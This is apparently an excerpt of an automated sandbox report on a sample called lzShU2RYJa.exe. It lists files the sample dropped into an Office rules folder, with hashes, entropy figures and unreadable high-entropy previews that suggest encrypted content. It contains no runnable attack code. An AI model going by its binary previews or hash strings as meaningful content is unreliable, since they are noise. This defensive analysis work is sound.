Preview:	<?xml..c.5...gI..t?.bug............zT.TM-g2..#4.Y.)P.n..Xg. 9.%....8..].m<..).F....w.a.5.....y..H..Z,,..F.9M......%._...bHx.~.}.l$'U..!$....p..BN..y.z........F..^>...S...4,O-........yH.>J.._L.k=.p....6d.b5.......c.........Z.....e.{...,.5.).N...+R.i.Y......@.L.n.\..~>..../....Qz0Q.O..............'..:..1!.....p.#.32.&.....6.1.~[...A..q.r..r&...Ix.......G..L{V).#.....2V....4..fh.,F.....t}\|I.M.....!..f.w.x8......q.m41.....+-....!..S+U...o.K...&.......T...q....v..~.vg\f0......1.4GP".>S..f..3..K;...h.............Jy..:...4Ji.....H......F.?0_......{.!.......Cg...m...f...f.d..0.q...'?8.Q!.%U.T.~.<j,3.;,.....>.....(..-..l......>(......1.o?bc.!_..`Q...w2;...x9u.R..q.Y.........iy...P..........."........1K...&.$..j...Ndp.O.8..1..J.I.+.x..!y..(..?gL.,.y.. ..M.1Z..s..Y.S.H...@.s.5)]..T...d+M.9H...._...<.j){H....u...`dk..semj..h._.}...i@..u.G..........r....z...i\5--.r../...+...e..:..H.&...N...F..l.B..^.Fta....f..0.........%...j...#....F5.....p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.87989415055864
Encrypted:	false
SSDEEP:	48:D4H7qtlYxP5AedU7a2lU+d3LOUvxySg9YQo4B18QvBZV4fVsASFD:E7yQbWOG7OUq0ldsAS9
MD5:	128509AB9F8BCD18787A32B735D19737
SHA1:	456476C88F7D5CF839A2D42358378D4CAA86A7C8
SHA-256:	209765BBC663EFCA1942E31FB45A2CBCDE172E90C8F074F6F5FE8E0C05C12C9A
SHA-512:	1D08AB657E9F6E72C59148E3E0AC284CB5AC5CDF68540766D063F2A58B3BFF314D37AF293F91714E83559C1C112B2B284481264F59654A79B9B408BD5AEB398C
Malicious:	false
Preview:	<?xml?x.c..e...3.\.g..\|.>.o..^.n.......kT.)g.Z..,w..h....../".....1j..u.%.Z9-.IIE....L.G..n.y..Q:Hv.y..O\.m_Tm...].;L.l..._.V..1..b..E..C..q...3:.-.f/\.e..V.]..f..'Qa.u;6...n.'a.....c..-y..LP.>.Rg.....j..t)Y:#].R4...W..{?.xS.4........2....".=.!.[....1 0:SW.^.wx.....@-......T..U..j5J...v..P0...0..@.}9G.vcf....{.~......](..N.Q m.... a.....>....7...........sin.#K&.H...=\,..(.^.w.V..2wP!7Nw..s ..../S^!........sB.4Z.M.....3n4.......r...4..<...O.....XYo...:..K...e.H....{@.^2d.......G.A..=..L..:..!..`.(d&\O..<.7...`......U[.._T.K.[.F".../.{....1......>f.R=h...lu.9..Bq...'...n.&L.F....!d.UY,.LU.......1....`...........R....V..M...W..J....%..8y.T9`.....<Hn..A.1In@..}")!...../.py.x.K.d.~.x......n.../.4..G.TH'.m..P....+.......w.p.K...t...C...-..^.u...l......F.m.\|8T5.. ).......F..B".....L-..4...f0..'>....tl#F..e..z.J.(..s...LT......:B..x...\|.....~{.J.TW........ ...L...)!..3P...5Wd[....(FG.s..{.<.....~..]..<.=..p.`.Q....=`.WH..G.yq[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.881000913424667
Encrypted:	false
SSDEEP:	48:DWF+e/bOFTbKkhEullv7tHYAxylv4cXzFD:DWF5uTbKkhEqt7JrxSv4Gz9
MD5:	69053421F681EEEAED641C96AA309330
SHA1:	1161DBCB5A5869AD6C821ACB11430F32ACDC5AD0
SHA-256:	6D7235E13BA09F4A146597A7368C4BE3064E579FE7782180E5A86D6A65C88E5E
SHA-512:	1EB06F85FF3AD8698D92D61634BC586F7D72C15E087F4880F2035772F320288D99EA1920A725B7CD18CD046815928A1F2D91DA7B3E8C6638DF2096027A840172
Malicious:	false
Preview:	<?xmlw.._(]H...X?...7..#...q..=.\|.E.yz.3.T....R....a..4........A.;.#..:....v.FB{.W.".Z{......i.....xeo......V&......M#.+......&..G.&.+.(.........eT.gi.sP.~........g.0....p.}..;z1...<.......,C'y..........&<7.My q.p0g....{..I/.e%.5...C2.Y.L...+.U......d..Wf>v......J.........<.=d..p:EL.50..\|.NC!..s..hI0&f.<I...B'.r.M.$.xn..8...2bv.r..c...1.G...Lo.....$...O.&g..K...zZ.SZ8$.X2(...-...Q..!a..P:.q.l..X.~..H.(.:.O.W....1.o.. ..h.X...v..#T...:....<@..}..x.XT.j........9...2V&.....2..4.fj.T.....!.....i...G..d..x../....6...o#lc.....0.v..._...IOa.&E...Up"...W.o...\4.`.)......;S.l...5......x..K.....X........hW.v.j.wd.."....#...w]V.0:..W>.`..&.l9..D'....{..[C.p#..L./R...w..'..#.@.9vFp.#..........8.....&&....r..8g..U.4cV9;..w..1.hF..Q.,...@...E.;...JF.y}.).0..K....Y..].2..U.Yr.,.oo..j5r.=&..O.#..$....=..Fw...M.Z.<.\..-..!rbd..C.?.../$_...5.^\..Y.a..l..5..H.G.j.PQ......^&w/B..7.;...6].U9..a..........5..?.,....+.{......y>B..wn..B..j..8...4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.889049912160042
Encrypted:	false
SSDEEP:	24:CckqNDlI5pRP90aU0SkuLq/VoCL57S0mOL1bStSX533cTgs3zVCH1uxNXrtUxWRE:qOlCpRP/j/b97SXcl53sTzwVgZrxN6FD
MD5:	8F9B213651BA18FB2C9B223317E501A6
SHA1:	10FBBE764A5E5DE5545BAB418C00724B7D3AADEA
SHA-256:	10290F13141EEAE68ACC7C8699D6FC908DDD1AB4A2B603CE0D75604179EB229F
SHA-512:	EC75DB9CF9B39128C852A20D74343D7BC811087D9464762CECB8B5996A8ED9352B44F57114004D9AC59CC703034297431499B1A91C680A0A10730EF581B3C2C8
Malicious:	false
Preview:	<?xmlR-..J./I.2W.Pb.iJ-....i9.<#.M4(.;.....4...HD.h:4..4p..i.'<..l....i.E....x....ii.@..X...<J......(...V.X.G$.g....7K..\|`.....c.....y.........4.K)......4.X....Z....k........=...!0...s..x.+..I.5../.E.....&......(F.....t..4s7...K.f0.q.....c/}.r...J.O....g&.{....2....8.;.#...u.dD..HV.....\......e..<.K.......NmJ...Y.0.d%d....3+[.-/..F..............a.3t...Gp....].L..#f}.H..=..u..i.L.!......R._...RH.Vhjr....r.k.A.;.y.OO+..,.e..t../.....2M....B...y..I.....JV...4.R1...D`P..........#..?.\....fxp....P..Pt......Y...%.]..L...<.v:...........Nxk\|.....9...SL$.X6.p..>=v...[35.Lk.g..?t~...\.Oy.....g.>.. A.....G.....q.....9ZYj5ku.....\dw...."H..}.h...k.I..2....Y<`.s.jf....F..E.Q.s.x.Z.A.......<s_o.=\|..R.....j.....0.....+}&..e..b......../R0...K..w..z...,.A5.(....UT...X...F..Tk.@.......k%..L..~.eS.5.u......@VS.7....\|n..G.qd.pL..6T..Rd)...?...79...4...AQ.K/.w..9/,.C....~..c[k.........%...:e..d...R..Q.jv.s;l.h..\.`.....on.".....A..Al.s...,.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.872976764174437
Encrypted:	false
SSDEEP:	48:Tsx5rl5ZXHUGXCPCH+Ty2CiH4BkDnDl5ID2PEPBhnFD:Tsx5p5BHePCHAy2NYGnDl5EWsfn9
MD5:	4F80466A6699B6B5E4281C5A979AB809
SHA1:	3E7B3A40BBE1E421336F128A702A8A0E32D1C673
SHA-256:	DAC16608F7BCA8E0FA7C264D052A290C38212598FB7EC105147F8B27209E44B6
SHA-512:	0C2E7FA31415208E0BC8698536F99F142F206D0F92E2EE11647B0FE484178F63EDC0EDDA403B745853221BB0DC59F96260D9BBFA8F859146EA702FBEDEE6DF5F
Malicious:	false
Preview:	<?xml.."..0.....k...1x4..F..T./N...."5d....&..t..k....4l.Ro..W..{...()U.l.9.i.....q;.!...c.[.2..g....[....Sk.,.6..(........t..nO.R}B{C.....@.$.q....x,.]"..o.Z.8V... ....;R'}...2.6.r.V.k.i...6..g.O.^;..y@...j.....gd....ag&.........i..O.?.b.W.e....LF..Q..cN...#.(...m..y...........l..\N......._...b.g).Z..@5.<X......D...T;./..>.&,.....C..L..$....jI@......t)yu.WT).6...I..dd..j8OE(..Un...d..C....&f..............=B..r............F..."..V...^c._......0@.Z..H.'..3CD.Ib.C.D...1r.4..6%.........(r.7.m..u....M..#-`..2x.C.b.D.j....Jl...%...>:.d..$s_..,.j.hj....g]..Do...9....A..G......+..`...-.......XN4 J..P...%..v..f..V..0.l()!Z...b.Q..m..?..\|.\K.N.T.. C...6a....r...E..Gyh..j......VZ..sa.%.Zr...Q.Lwt..u.A..HwA .i.f. I...Fm.T....b(....\|...1:..xO"H..+.:.3.5....B\|v.c.....yv.<d7........cE.P1.b_'.....3.t+'..4-W{_>.../.......Z.K..`.c..7ZinE.Z.z6.+..QG....0C.bkW^...!...i{V]...H.+;j...W....y...\.+W..5._7j..n.p9..Ky6Q.......`.#.....k.L..b.0....J.<.j>.M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.881810793092318
Encrypted:	false
SSDEEP:	48:eLU9sUeVs8pEdKAJGVIkBDQ8s+KFgaL825ttHunFD:eLU9D73U9PO82y9
MD5:	BC649B656CD2806F6FBDD1508533F663
SHA1:	76048C61FA1BC5A645CADAB3841DA9D2CF955138
SHA-256:	8CB4BB0186D1846C25E1389E843B9C09CB54C883311C71E71F60A23BEACB3EEF
SHA-512:	B11EAC687CD855796E21F9D15773A9483B9D83C09D463CFF0177BB1EE9860EB0A1EABF3B78D8EF8729D990C53E9D49A05E9EF0F18A87D3BD33B19F49C5151C8A
Malicious:	false
Preview:	<?xmlr.`U.5...>8.?0mq..v..e~...k..<..q"...e....O,P%C\|.?[B.T.q.8%.".ua.;j...u..g.$...\...I%..{.........M..P.\|f.....N,.Sa..@.mE!"O....T...8:l..n$N.......!P......9.Vb9......2;I......^.S.a.i./....l1w.5.p.....z..l..^.......6....\b....(.1B.?..e.9,.%...Lr>.....5K..6..-.N....t3.."r...).r...x}-.!...-B...F..H$a\|r.W...l#.y..I.....V.o.T...z..KP...nuPJ..H....$..Q_.v...e...f{~V.O.....7.+j...8[..y.q.ru.YI.~...\|.?..G....)8.....u.E".s..ei.=.G..C..B....^.9....0....~......8.....wd..+_$.#..<......C).h./h..\|..@Mk..>......5.@..Q....`.8...Z8...)..t.....A...%.....OZy..W...F.Jg...2.......w.`]Z.u._..1....v.N../....VN.......S.'nq./..o..~H..2._r....%...A.G.UK>@.....\|s.SSL..L...>..........c?.3e.)fV....m.........M......y....zae..%......,.E%..n~>.]5..n.7...&G...].....0..<E.V...V..).0>..0.G...A......$.Y..z......\|Y&.^s....&..^.3..(y....I..J.n.3~.Z.X.6e$Ae]....t.M......k...u...YH1._...V.cE....U....tm.{R5I5.x.......-.P....:. ....jl.fWA.fD..x.(;...7K....w3.R.@NMN..........Y.}...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.879609225776268
Encrypted:	false
SSDEEP:	24:em3C3z3eckwbejG8gQd0/DwZNGRSDg0NLZqA2YfqydgkeA0rIvIFzPfz2VBu0vKq:ef6gCOQd2DRSLNrKkePVd2nvKBGJbFD
MD5:	52D85424EAE356DAD9B956DE78EA9558
SHA1:	B9AE003B749B470EA9C066F613728E55CA6A4D34
SHA-256:	31CDB0DB01E0356A2C58F0222AB736C76FE13F18A487A846ABB583A2453E33C3
SHA-512:	B51B15DC856AF67C88ED444945E2269BDB6B5549A7521B5EA3ED0E28CE017EBE5CCBF83CD3F65D754A54DB88F50F914FA1FC76D95CE05C28BD738EB7A347A16D
Malicious:	false
Preview:	<?xml.....!d.....8w.B..g.~...Q...j..T.8.m.i...p\|.i'.z.o.)}....7....9.>I9b.bdG(.....3{$..r.s._:.$..3..2.^.Kl..#.6+...$.#..a...L.3......$.....AB;QyLO.L-V<,.z........v..?..._..O{ Q.....=.....2e...o.l.;..@........3m.a.....3.....\r+9..R.J.a..c9..qj...o...$.7~......N..6.J..3....^ g.HT].....=H.4.?.....j..`jw..G...5b.$.c...R'...}..x".$...F.,.4]....8ndb.......,m..]o.......u.......fx...A...\|8W....G..0<.;...\|...N.e...Hj&"...L.%..t`=..6.g...S.....d.J.....%.e.oE.,b]$.bA..M.<..e}..R!c........AP....._.4R...L.@..!....G0./...yNSE.e^W.H..Gu[.#.&y.ERf.x+.D._3.T..R...#..{.;>..gZ....MR....f<.jO...y7....?.v...8S-..V...M..z...5o$...f...u ...C..z...y.qE...qo.?.d&..U.\.....@4...2JN?....l.T8.m..8.Nk..G...8.7B._.\F..........2L..7.ND...5...... l...K..M.ZJ.n...."..^..x,y.Q.....)"...6.....L......2z.....<.Tg.,T.6.VH60)O.....7[...!n...c...._,....v.T.eB.......^.6..S.\u.gh....%.+.5....zIP#.#.d....A/...J..Ki.L..M7q....&..#n........l...!."I}...W0...K...&....C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.881829693175656
Encrypted:	false
SSDEEP:	48:8qRilI72ntqG0WElHraLrJvViOqqE/5XsminbgqIE1Tj/WUJQc+FD:8qRUnxJtiONO5UgqLv/BT+9
MD5:	362276127BD0C8724CA03FAB61CCD2A8
SHA1:	53C8ADBEC509C3EF820774D2047312A7B7531A84
SHA-256:	5F77E21249D6A2F5742A2DB895D2C7383F388A1D316AADFC995CF2F822805FC6
SHA-512:	EF5FD5D11C668141881E958ADA46583788146C2860EEED7AEF08CC0CA71C52F3BB58C189716070F58B37FD01E74D8AA991ABCF4DACE37265401A9ADD1C403311
Malicious:	false
Preview:	<?xmlW..i..;..uj.K.>...1....P...^...G.0..8.:....M..W..!.I....f...F.<..8.X.F..+Uk..........a.\.Y.v...s6.v:.9D..N.C...Q...5.......X...{.....Q.......e.P[G...b.4...R.$..:].\|.8..)...,#.(l.w..o?...>q.9....#..Gme.4V^]....hb......0[L...g`%{?.K3Z..y....9.wF6.?.:>....?..~4(C#.R.'...J...I...^........;...uv..8...,....p...c..$6T.........,..X..GK..e.e..Y.^S...m.G...,.......u....y..t`..c......b^.!E..ow...].1.+N..UCp:.B.Pd.....3.<kk..uo:K`.>.`..N...B.9...k.&.L........2N8...dw`...$.$...9...{/.<.z+i.j..&_m.g'[mp...(...t...9!.ZfA...w.F.:.-...L1........9..:DE...[;..."W.&.X.P.]3.o.D.$....#..IzO^!.y....b...o..to....%...j..R..pC...-........Q...c7..........<"..L.8........T@.c.c.;.-..;.-.J..6....<\fO.40.ekV.&oatO...J...fL..Y!M...V....l...1..J.zl:..@.9*-..fg."..'..K.c..~....".....1.ET..>)..'...p.t..=X...:e.x....Yv.......m.na@...a.K"..rM1.X..F.F%.v........WO...u..%.1..m.n......`.k...h..\i6...nN...].Gy......}\.........g..z..!..2Y...Nl....T..c..............~-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.8983015518174815
Encrypted:	false
SSDEEP:	48:IGHblehu0g1wIi+ACOTOESkn0Bm+R5Ly8JgFD:XJevg1/iaOiEYU+R5eog9
MD5:	54128C74697B68233FDB831C42DC6511
SHA1:	60D202B4B8CF3EC3D8A74019457AC324D1EF2BBC
SHA-256:	2AEF348BB8B0F8F480B2216254B63750E303E8EEA253E53A06EFC0C3D7CBD9A4
SHA-512:	72CB377327E40049E4B83013DEA9A29C8CCE2D490C4BEA2C94D1B22B3D695F78CB4FBCE571D48B2A77F11882258472F0F482F96646A9656DBF74FA9441EB3940
Malicious:	false
Preview:	<?xml..i....x.....+....G...b(.m........W...b.o...u.+....u..A:.S...>]..H..D..%..y\......w8....z:..._">v_.........p.l.3.b....X->.........Y.L..r.w.z...@.}...UXj..;..RUO+.qm....L.f.....A.L~+.G.....3.3q.4\|...n.X..@..,...N..hpCA.=IB..e...+q..9....ie.....U.+..O...00W........$.<....Z..0B..t.C......Y...3.[..Q...7.,..>IdTG...`......WO4:....T3.........Jar.~,fRN...>....)R~!..qH.a..t.Y.M...."...7.2.&x\..qS..Hw...aRjeU....8.7./.F&.."...@.9n.>..f...s.....i......(...[iT.>...hf.$.#....1...0.y......?..~......6.d+.0M)r.>x....?...x..:..<........yl....U...-mk...Z/......F.z3#NyF.....e....D.~"V)pdDn...v......\| #.a,..S.G.._46....C.v....@.{...r...W.1....4..n.-...n.P..[...RD.Ff.8...r.v{....%...j....7G.N..ZF.....;..D...t..+........:....T.T...O..o......V....K,.<..e.RKx5.z...T1>..P2...=...pt.T&.{'.:......\|1.......'A`.:v.Od.....iD*&e..~1..>..}.q..c&8.i.h^....c+s.!.?...G/..,}?.......g/...H..T.a....^.b.:..p..OJ.\..X......)...9f..=..f!.+.....J.o....Q.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.872777424012032
Encrypted:	false
SSDEEP:	48:gOFzgyLRuP3UJ7MqXb1YmMoJe6Toc2plh4oM7OyYO4v2hqtRX3NdXNFFD:gOtgyFrtMOxVMoJe6TkpAXNCAIJD9
MD5:	50B7A6D4A4ACF2144005125D8C17A392
SHA1:	D27A58BAB8A1602AD409F8486E2B4525A7636734
SHA-256:	D3AC197D0995C447FB6A0FE6804458623C9E33106CDBC2FD13A4E52D805BC07D
SHA-512:	B89DE64D5DC8C87CA3E7E23B98BBAA1F463C7572123014766C5DABC007FB23F5F976DD834AAF0FD8A9C70D7C6CF655C931A5C1148289F64B09B7869282CC8DE9
Malicious:	false
Preview:	<?xml..(e.{.em...J)D...J.....'...1./.qym....Jp0{A..>.1_.z..?0....v..=I...;...'p.PN.m...[?([A..8z...^.(..).....\h..O.J...;.6C...P@l..X.<.I..dT.b..l.8p.q.n.p......1_4....2..%....-...9..R...m....%.....g.o.+Sr...{......\r.h..J..L..'.U..h@.<b...Z+..{.b.......k^=...z.<....Z.....\.]{..o.N1....f.....m....P.7.R..)...N.....(F.o.n.?) ..1........`......B..?..".Aa.M...R..J../......2.....C+zP$z.....QVq....:..}....f.~FB\|!.......]...L..D..........I...wC.J......_;.....j.k4hKx...A....b.S9.0.had5../.5caQ.`..4'.-{..!k...18.W.w.....q......u.....j..E.....+....n...Hjs.......=..Y,....<(.......&m...jP\..\|....^..V....@D...7..n..Iv=VL........~.n} G...k.$..\|.M.[.9...t...7......:...7C.Fw...q...P._..X`x....{...g.......'.~a.Q.vK)..Z.+<R.TEN?....+$...e.....N.....................'g...b...#.4.....U.b...T...Z...a.?..ER..aa.R4.&..&..#....p..5V4>.'.x...'kM=...<,T.>....o`.:....................-w.t..3AK..C..\|.n...."......S....v......vB'h.....\OK..Ea...E*...W...`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.885215379186734
Encrypted:	false
SSDEEP:	24:Suj9AByWCGtKVuTscauXzOoJMXwpuagQGdNKtqo8fZ0yd001RcrHvCmMoc11h+Ln:FjGI3uAmnMgpu9+qUu000amMj+L7lFD
MD5:	83FB04DDA938309489F25A61BF9B4D45
SHA1:	E77DCC4CBFE4845B7B5BA9B11B97436E90DA9421
SHA-256:	0E1F73F82F696972256523C89909FF552AEDA519CC2FF176F8A787524DE27C39
SHA-512:	47FD546F092BE688BC7AED19C2D4C00F7E73D178B207F7AF1EC26964F699A62CAD5E6FEAF4BB0041DD851B68AB30C11CDFE5D5384522312CD0036AEC6D4E0C89
Malicious:	false
Preview:	<?xml....a.l.. ..,....`..Gf.ha..PV.\........c.n.,..pj..^.S..mc.~-gu.._TL&8........R_YZ.q.(.Y&+..Q..1...vEV-.{..E..t...=....w.i..../T#s..y..p.......d.........;...V.I.....$.{.d._..#d.8...z.5I..V.4.D.'..... LY....Ok.+.i...XM...G..q...=.........wG!o=.W....2.Bw..........[........Q....b...U....;...B...]..L.q.O_'?6.)o;A)VB..Q....V.....uc.!.{.......{..H.....L....l)f...%..V..m..;....%......cFYk..@..~....J...-..6.)5....q....#....R..d..A.Z\|.....]...BJ..M%.....V.c.=0.......E........b4..E.r\H_.).x.."..K....}.(9!%..z.B....r..[. 7.yG9..W.yM.b.`.....@..Y..N.z.[....q...S.H~..4.....r7....{8I...~3....T...y.<{ ..G.qu...v.^..=.tW$..\.........j..i..DK..v..YN.I.@..[...%.MU.?...^.#.[.].?I@.,..a....aC.@V..C.V....@b.yP........).v...~...G..'..-I?..x.P.X.uP..T.Qw...r.a=.n0....r.6...h....G'3S....+z....').m...g.v.gD!..n.Q"...c.t..2...G.C..u..0_.*..2.n.g..5.S..-$w/..p$a\|`.+.@@7.A..y.....,......uJO..e.i.s)..0?x.j...92..,1..3.B.V...qz.`_.q...\|;.....jX..].+.&.=..+.;y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8685604414454255
Encrypted:	false
SSDEEP:	48:AGfPv1p4ElYauVkDA8ni8wmbt634xLz0bTrx2E0/D79n0O3B4PFD:VfYZaEUA2fw86IxLAnF2r79n0GBu9
MD5:	E90676E9F68FC41949397EEC78F1D090
SHA1:	1AB827008BA2E274870F98AAEB6AC5BDAA79CB44
SHA-256:	0AFCE9EA4EE9E072BBABB8B37A7B47DE3961DDC39707A438326E387855D45D0F
SHA-512:	21A89BE50A9156992113EB2006B58CB645DD575C2B1FC98A1D5286E9C6DE917922CAA2B0C2BC9D09FD1396AA30F3AA0C58C25EC6B7644FF896C4B4F8B07CDE30
Malicious:	false
Preview:	<?xml}..K...)_e..E..{...T........K\|..o...qhI..(..7.u..g..%v/...>5b...r..8..QE..(....kVI.........3......5..X.\.^..i`V9&i@..{.._..UB....B.\|3X..#.<.C.K..qM...#K. [p.U.l.8&...H..R....q1.........Fc8.M.""#=..\.{.Y...`.3.#...7M,......^.....=...Q.9e^.L.......]v....V..#4..q....S..g.tl6.&K.:..F....k.....#}.A....Ud.O..?.%..l....k...L...a\....,{{...x.....7=.J..$tqW...I..E.Y.:.$J...h..,.KP..bs..Z.Cq..t....`63.D....K....."..B.G..c..>L.5.......=.a..Fn..w..."(.7.!.E.t...."..0.....f.>9t...E.....ior...G-.i...f....4nFK{..bwM...t..a?L..k....d].]....v...W....5.089O.uZ..a.1hM.....;..H6.peD...eE..1..e.J[&.`....4.C.i..ck.qlS.,`.v5..sX..[..=.H .....Ln.8.ux.b...,.!...j.....sZ.ddF....p+s.2......"...J......t.9.!cD..0....$..[.y..53...4.z..j....ZpX-.b..;....-......[.F..}.L......!..o/D.D.....".S..v...e.d.3...}.......bm3.sh...[[H.`..m..D....s"..,......,.P...O.%g`s6..B...........<M[.J....)%.Cs.c...A..,.H...{ .J..._.4.y............]L.!8lz@ED.VZ...&.h.$..X.6.3+Zb.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.884064621931353
Encrypted:	false
SSDEEP:	48:n7xSuSu41RSQ1nHoBQIN666f5Jv/S1iBwPwjVXT0d4m+dTPSSVFD:n15741RSQfIN666f5Ji1HPWZT0p+FV9
MD5:	8A5F75F87D8D59DD34B69A09AE889872
SHA1:	FE3F6390D9AAAA82C639C91B5A5E2DBFAA8E5873
SHA-256:	91B035738093B354F3F751EA4BD2F01E9C94585A48B800F75737978390490522
SHA-512:	BF2ABED5AA6D30A16C6A9CC4CE76147C683D06B68687239DA0B9B99FE5184989ABD908794DA036E8B56AD73D8F25060E066CCEB0AFE53F972F56D70789349FCD
Malicious:	false
Preview:	<?xml.I..3..I.X1......E..q.f..gw!..4.s.M`..}x.W/..d...2~..5kpl7..\|,.r..N...e.4.....R:..]%uz....=.B.......Z....1u.j....4..U.+=v.1..VeyM....).f..oq...7.. ..(..J.k.3}......x....DI@.k..-}.......r.2n.(.YQ..@.5...f..9.}T..^.. :."....S........!..g[ }}8JV..I,...^..7..S.yG...~....A.T...."#..Nl...X.A...W..2<.[.....Wy.v...}.........x.....Mwv../...I.....M...%.au..-...Je.L....]...qq0......p..B.N..aT....b..?.y.P.KN.6...P..i....L...1.m...0....!-~.+...#I...\|.&.?....E..#Z...c........._.9.@.6..@.M.(.$...r.....l.=.af7.+am......!Jp..3.f.-3...v.qW..qK...._.k.. :]C.........d.......Pg.N.Gf&{.q.:)...@.....F....l..(z:..NB..&.......;.....6A.K..C..?..tTr..B..7.lQ.w.pa.\|a...z....~.u......W`.<v...Vg...~...=<.l.E.fZ...m..TL.<\f.D...\H...!.W.h..1b.A...<..x.8.WaB,.....t.\|n]....#Y.].t....r..T.2 i....e...).gTX....Kq...Z..J...w.Jy..{v)X.n.w.(s...=.65..V:.......\|...".....,f.(.?.......?I..l./....>]..F.;TCx..EA...C.~Y......!...?_.'!2...t..Y.....0P.9k}*..\|<.2.6.....Q.9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.870744982408415
Encrypted:	false
SSDEEP:	48:mWolexGcrUX5lF1rfSxkoVxmi8+kwNl1xHyFNJHFD:Ce4crU91rfovxzp3NfxSFNJH9
MD5:	E7F70E75C63BAC84D1E0ABFA2D240372
SHA1:	50A042AE5CBDC3A7AAFBD0EFE5758E9D5AD9A864
SHA-256:	412A45DC2B243C185BB217BF8544C56E1AEFF50E3BDB751ADFB93024E1FD65A0
SHA-512:	4B17151ED4CFE0095DEAC3B1F32F0E6F08F1DA1D901F26F02136F272847D898086994B4D408B5383FBFAF3E954ADE6A24E383D987E2E4449E7F4850E4A9A9ACF
Malicious:	false
Preview:	<?xmlP$..\|.NF.j6.~...1.d.\J...>.;..L.!.#N.D.......S.......I.&.....C.ird......Wa."...J.......7..[.9.-?.C.....O.A.?..........n.%...w3.........Z..91...........\|...h...8.,&8.Z..5Yh[,.e[.X._.~.jAK...............J......G.m...Jw..@.J...R.A-.G.c.....1..JG`..e.....Dy.nT..2%.PoG.... ..I..F....?N.tbu.G.+..s@.(.).>.#!.>.t_.h.....s$r.A.[\...'...s..u......B+GE.t..%..,!....Q...$g.......p.U..%.Z..I.@....rk. . ..Xa.........n.p.V...k.....Y.......H..\.].to.x.....J.u......W..u.(....K ..Z.[q..+.TI.3..L.0..k`d...b...`].y.\|...S..gz.>t.zF.kP.1....:.5....AYA..#..A.r.%P.;.......u...u.....%._W4.Eo....n[..l.&1..QY.cVc.,..;pu.9.R.....T......o, O..'.o.C3..y.8..`A-]dy.\...lq!g....P;A...X...s.U,O.I/C.#0.$x.c.]b..Cxl!.,...e...j.K~:-...........M..3V=.H`..6..s.IT@4.....7m..i..."&..i11....y...j..<..k..?e..C....}L.h.o.....E.E...9.[.7qt.5.LeI.l?.(..0g.D..Y.....f.....[..^..b.3.QHxAB..KeU.?.....G..K...aIAB.\.LR.e..^Vxa9Xy../?.........D.....%].f...b..%.;.J:..j-....?rN...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.8871620374179265
Encrypted:	false
SSDEEP:	48:QUq+JneUW0vI52LgUqQOtfpjbMfVUVc5eFD:/hWpBUqQOdxwVUVc5e9
MD5:	DD9AB0352890D999D242D1B1CFFE5352
SHA1:	F6092B7EE1FC033ED2E828A7A5884267DFEE8E6E
SHA-256:	D594C5182FBFFD9B0892289717BB22124BC76FBD6AB177CAEE332FA863E604BB
SHA-512:	6A6C0CD400E1074AD8BF07E532CB41C41B0C7F359BBA4D4DEF367E39DE4579F264A6B3A4F967017D40413DA329E85047E9E42D2175AF10F3B9E0D985B408B9F7
Malicious:	false
